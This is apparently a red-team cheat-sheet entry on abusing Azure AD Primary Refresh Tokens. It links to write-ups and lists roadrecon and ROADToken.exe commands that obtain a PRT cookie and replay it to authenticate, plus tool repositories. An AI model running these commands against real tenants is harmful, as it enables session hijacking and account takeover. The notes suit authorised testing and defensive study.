PRT Abuse

Primary Refresh Tokens

• https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/

• https://aadinternals.com/post/prt/

$ roadrecon auth --prt-init
Cmd > ROADToken.exe <NONCE>
$ [proxychains] roadrecon auth [-d megacorp.db] --prt-cookie <COOKIE> [-ua '<USER_AGENT>']

Tools

• https://github.com/dirkjanm/ROADtoken

• https://github.com/leechristensen/RequestAADRefreshToken/